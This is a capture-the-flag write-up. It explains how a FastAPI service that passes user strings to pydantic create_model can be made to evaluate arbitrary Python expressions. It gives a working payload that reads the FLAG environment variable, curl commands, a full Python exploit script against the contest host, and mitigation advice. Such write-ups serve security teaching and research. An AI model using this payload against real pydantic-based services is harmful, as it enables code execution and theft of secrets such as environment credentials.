$ cat writeup.md…
$ cat writeup.md…
kitctf
Task: FastAPI app passes a user-controlled Dict[str,str] into pydantic create_model; in pydantic v2 string field values are evaluated as forward-reference type annotations, giving arbitrary expression evaluation (RCE). Solution: register a blueprint whose field value is __import__('typing').Literal[__import__('os').environ['FLAG']] so the flag becomes a Literal type, rendered as a const in the JSON schema leaked by GET /blueprint/{name}.
So you want to build your own restaurant? Well, we obviously can't just let you do that. Please first submit blueprints and exact descriptions for the building, all the furniture and every single item you plan to have in the restaurant.
A small FastAPI application lets you register "blueprints" (dynamic pydantic models) and then "items" validated against those blueprints. The flag is provided to the server via the FLAG environment variable. The goal is to leak it through the blueprint API.
The entire app is 43 lines. The interesting endpoint is register_blueprint:
@app.post("/blueprint/{name}") def register_blueprint(name: str, description: Dict[str,str] = Body()): if name in blueprints: raise HTTPException(status_code=409, detail="...") description = {k: v for k,v in description.items() if not k.startswith("__")} Blueprint = create_model(name, **description) blueprints[name] = Blueprint return "Blueprint successfully registered"
create_model(name, **description) is called with a fully user-controlled Dict[str, str].
In pydantic v2, create_model(name, field=value) interprets each field=value
pair as a field definition. When the value is a bare string, pydantic treats it
as a type annotation expressed as a forward reference. Resolving a forward
reference ends in Python's eval():
pydantic._internal._typing_extra.try_eval_type
-> eval_type_backport
-> typing._eval_type
-> annotationlib ForwardRef.evaluate
-> eval(code, globals, locals)
So every field value is evaluated as an arbitrary Python expression at blueprint registration time. This is an arbitrary-expression-evaluation / RCE primitive.
The only filter applied is not k.startswith("__"), which filters the dict
keys (the field names) — not the values. The expression strings are
completely unrestricted, so __import__, attribute access, subscripting, etc.
are all available inside them.
Confirmation (local): sending a value of
__import__("os").environ["FLAG"] raised
SyntaxError: Forward reference must be an expression -- got 'GPNCTF{test}'.
The expression was evaluated first to the flag string, and only then did
pydantic try (and fail) to parse the result as a type annotation — proving the
eval primitive fires before any type validation.
The error above shows we have eval, but a raw string is not a valid type, so the
model never registers and we cannot read it back. We need the evaluated
expression to resolve to a valid type that also embeds the flag, so it
survives registration and shows up in the schema returned by
GET /blueprint/{name} (which calls blueprint.model_json_schema()).
typing.Literal[<value>] is perfect: it is a valid type, and pydantic renders a
Literal into JSON schema as a const. So we build:
__import__("typing").Literal[__import__("os").environ["FLAG"]]
which evaluates to Literal["GPNCTF{...}"]. The flag ends up in the schema's
const key.
const field.BASE="https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de" # 1) Register the malicious blueprint curl -s -X POST "$BASE/blueprint/pwnX" \ -H "Content-Type: application/json" \ -d '{"flag": "__import__(\"typing\").Literal[__import__(\"os\").environ[\"FLAG\"]]"}' # 2) Read back the schema -> flag is in the const curl -s "$BASE/blueprint/pwnX"
#!/usr/bin/env python3 import secrets import requests BASE = "https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de" # Payload: evaluated as a Python expression by pydantic's forward-reference eval. # Resolves to Literal["<flag>"], a valid type, rendered as `const` in JSON schema. payload = { "flag": '__import__("typing").Literal[__import__("os").environ["FLAG"]]' } name = "pwn_" + secrets.token_hex(4) # blueprint names are single-use (409 on reuse) r = requests.post(f"{BASE}/blueprint/{name}", json=payload) print("register:", r.status_code, r.text) schema = requests.get(f"{BASE}/blueprint/{name}").json() flag = schema["properties"]["flag"]["const"] print("FLAG:", flag)
{"properties":{"flag":{"const":"GPNCTF{REDACTED}","title":"Flag","type":"string"},"required":["flag"],"title":"pwnX","type":"object"}
The flag text ("...one or two RCES later they built happily ever after")
confirms the intended bug is arbitrary expression evaluation (RCE) via
create_model with string field types. The Literal[] -> const schema leak is
just the cleanest exfiltration; a general RCE (running commands, embedding any
type that surfaces the value) is equally possible.
create_model field values given as strings are evaluated as type expressions
(forward references -> eval).(type, default) tuples with a fixed allowlist of permitted
types, or validate/whitelist allowed type names before building the model.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar